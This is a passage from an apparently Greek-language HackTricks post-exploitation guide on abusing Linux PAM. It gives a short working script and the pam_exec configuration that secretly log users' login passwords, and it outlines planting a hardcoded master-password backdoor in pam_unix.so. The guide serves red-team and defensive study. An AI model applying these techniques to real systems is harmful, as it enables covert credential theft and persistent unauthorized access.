.. | ||
pam-pluggable-authentication-modules.md | ||
README.md |
Μετά την Εκμετάλλευση
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο Hacking του AWS:Εκπαίδευση HackTricks AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο Hacking του GCP: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα τηλεγράφου ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Κοινοποιήστε κόλπα χάκερ υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια στο GitHub.
Καταγραφή Κωδικών Σύνδεσης με το PAM
Ας διαμορφώσουμε ένα PAM module για να καταγράφει κάθε κωδικό πρόσβασης που χρησιμοποιεί κάθε χρήστης για να συνδεθεί. Αν δεν ξέρετε τι είναι το PAM, ελέγξτε:
{% content-ref url="pam-pluggable-authentication-modules.md" %} pam-pluggable-authentication-modules.md {% endcontent-ref %}
Για περισσότερες λεπτομέρειες ελέγξτε την αρχική δημοσίευση. Αυτό είναι απλώς ένα σύνοψη:
Επισκόπηση Τεχνικής: Τα Προσαρμόσιμα Αυθεντικοποίησης Προγράμματα (PAM) προσφέρουν ευελιξία στη διαχείριση της αυθεντικοποίησης σε συστήματα βασισμένα σε Unix. Μπορούν να βελτιώσουν την ασφάλεια προσαρμόζοντας τις διαδικασίες σύνδεσης, αλλά μπορούν επίσης να δημιουργήσουν κινδύνους εάν χρησιμοποιηθούν εσφαλμένα. Αυτή η σύνοψη περιγράφει μια τεχνική για την καταγραφή διαπιστευτήριων σύνδεσης χρησιμοποιώντας το PAM, μαζί με στρατηγικές αντιμετώπισης.
Καταγραφή Διαπιστεύσεων:
- Ένα σενάριο bash με το όνομα
toomanysecrets.sh
δημιουργείται για να καταγράφει τις προσπάθειες σύνδεσης, καταγράφοντας την ημερομηνία, το όνομα χρήστη ($PAM_USER
), τον κωδικό (μέσω stdin) και την απομακρυσμένη διεύθυνση IP του υπολογιστή ($PAM_RHOST
) στο/var/log/toomanysecrets.log
. - Το σενάριο γίνεται εκτελέσιμο και ενσωματώνεται στη διαμόρφωση του PAM (
common-auth
) χρησιμοποιώντας το modulepam_exec.so
με επιλογές για αθόρυβη λειτουργία και εκθέτοντας το διαπιστευτήριο αυθεντικοποίησης στο σενάριο. - Η προσέγγιση δείχνει πώς ένας χάκερ μπορεί να εκμεταλλευτεί έναν υπολογιστή Linux που έχει διαρρεύσει για να καταγράψει διαπιστεύσεις διακριτικά.
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh
Προσθήκη Backdoor στο PAM
Για περισσότερες λεπτομέρειες ελέγξτε την αρχική δημοσίευση. Αυτό είναι απλά ένα σύνοψη:
Το Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται στο Linux για την αυθεντικοποίηση χρήστη. Λειτουργεί με βάση τρεις βασικές έννοιες: όνομα χρήστη, κωδικός πρόσβασης και υπηρεσία. Τα αρχεία ρυθμίσεων για κάθε υπηρεσία βρίσκονται στον κατάλογο /etc/pam.d/
, όπου κοινόχρηστες βιβλιοθήκες χειρίζονται την αυθεντικοποίηση.
Στόχος: Τροποποιήστε το PAM ώστε να επιτρέπει την αυθεντικοποίηση με έναν συγκεκριμένο κωδικό πρόσβασης, παρακάμπτοντας τον πραγματικό κωδικό χρήστη. Αυτό επικεντρώνεται ιδιαίτερα στην κοινόχρηστη βιβλιοθήκη pam_unix.so
που χρησιμοποιείται από το αρχείο common-auth
, το οποίο συμπεριλαμβάνεται από σχεδόν όλες τις υπηρεσίες για τον έλεγχο του κωδικού πρόσβασης.
Βήματα για την Τροποποίηση του pam_unix.so
:
- Εντοπισμός της Οδηγίας Αυθεντικοποίησης στο αρχείο
common-auth
:
- Η γραμμή που είναι υπεύθυνη για τον έλεγχο του κωδικού χρήστη καλεί το
pam_unix.so
.
- Τροποποίηση του Πηγαίου Κώδικα:
- Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα
pam_unix_auth.c
που επιτρέπει την πρόσβαση εάν χρησιμοποιείται ένας προκαθορισμένος κωδικός πρόσβασης, διαφορετικά συνεχίζει με την κανονική διαδικασία αυθεντικοποίησης.
- Επαναμεταγλώττιση και Αντικατάσταση της τροποποιημένης βιβλιοθήκης
pam_unix.so
στον κατάλληλο κατάλογο. - Δοκιμή:
- Η πρόσβαση επιτρέπεται σε διάφορες υπηρεσίες (σύνδεση, ssh, sudo, su, screensaver) με τον προκαθορισμένο κωδικό πρόσβασης, ενώ οι κανονικές διαδικασίες αυθεντικοποίησης παραμένουν ανέπαφες.